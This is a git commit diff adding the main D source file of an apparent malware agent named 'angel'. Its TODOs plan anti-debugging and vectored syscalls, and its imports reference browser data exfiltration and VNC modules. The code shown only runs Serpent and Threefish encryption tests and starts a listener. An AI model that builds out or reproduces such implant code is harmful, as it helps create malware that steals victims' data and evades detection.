Initiliazation
This commit is contained in:
76
vv1/agent/angel/angel.d
Normal file
76
vv1/agent/angel/angel.d
Normal file
@@ -0,0 +1,76 @@
|
||||
module angel.main;
|
||||
|
||||
// TODO optimize imports (only neccessary)
|
||||
// TODO mutex check + execution timer
|
||||
// TODO anti dbg
|
||||
// TODO error handler ?? use auto, receive -> check for data, if none print result (err)
|
||||
// TODO veh/vectored syscalls in suspended thread
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
import angel.utils.constants;
|
||||
import angel.utils.clean;
|
||||
import angel.conn : Listener;
|
||||
|
||||
//import angel.exfil.browser.browser;
|
||||
import angel.utils.init;
|
||||
|
||||
//import angel.utils.cryptography.threefish;
|
||||
//import angel.utils.cryptography.aes;
|
||||
import angel.utils.cryptography.serpent;
|
||||
import angel.utils.cryptography.cryptography;
|
||||
import angel.utils.cryptography.cryptography : Serpi, Freefishy;
|
||||
|
||||
//import angel.utils.cryptography.gcm.gcm;
|
||||
//import angel.utils.cryptography.aes;
|
||||
import angel.utils.cryptography.threefish;
|
||||
|
||||
import angel.config : config;
|
||||
|
||||
//import angel.conn.vnc.vnc;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.conv : to;
|
||||
import core.thread.osthread;
|
||||
import std.format;
|
||||
|
||||
int main()
|
||||
{
|
||||
init();
|
||||
|
||||
// ! Serpent implementation
|
||||
|
||||
Cryptography.KeyPair keypair = Cryptography.derive_25519(config.server_pk);
|
||||
|
||||
auto serp = new Serpi(keypair);
|
||||
|
||||
auto lol = serp.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
|
||||
|
||||
Logger.log(LogLevel.Debug, lol.to!string);
|
||||
|
||||
auto lol2 = serp.decrypt(lol);
|
||||
|
||||
Logger.log(LogLevel.Debug, lol2.to!string);
|
||||
|
||||
|
||||
// ! ThreeFish512 implementation
|
||||
auto kiii = Threefish512.generateKey();
|
||||
auto tweaki = Threefish512.generateTweak();
|
||||
|
||||
Logger.log(LogLevel.Debug, format("Generated Key: %s", kiii));
|
||||
Logger.log(LogLevel.Debug, format("Generated Tweak: %s", tweaki));
|
||||
|
||||
auto fish = new Freefishy(kiii, tweaki);
|
||||
|
||||
auto lol3 = fish.encrypt(cast(ubyte[]) "meow meow meow hi lol,lollolllllldlsaldlasflsdlf");
|
||||
|
||||
Logger.log(LogLevel.Debug, lol3.to!string);
|
||||
|
||||
auto lol4 = fish.decrypt(lol3);
|
||||
|
||||
Logger.log(LogLevel.Debug, lol4.to!string);
|
||||
|
||||
new Listener();
|
||||
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user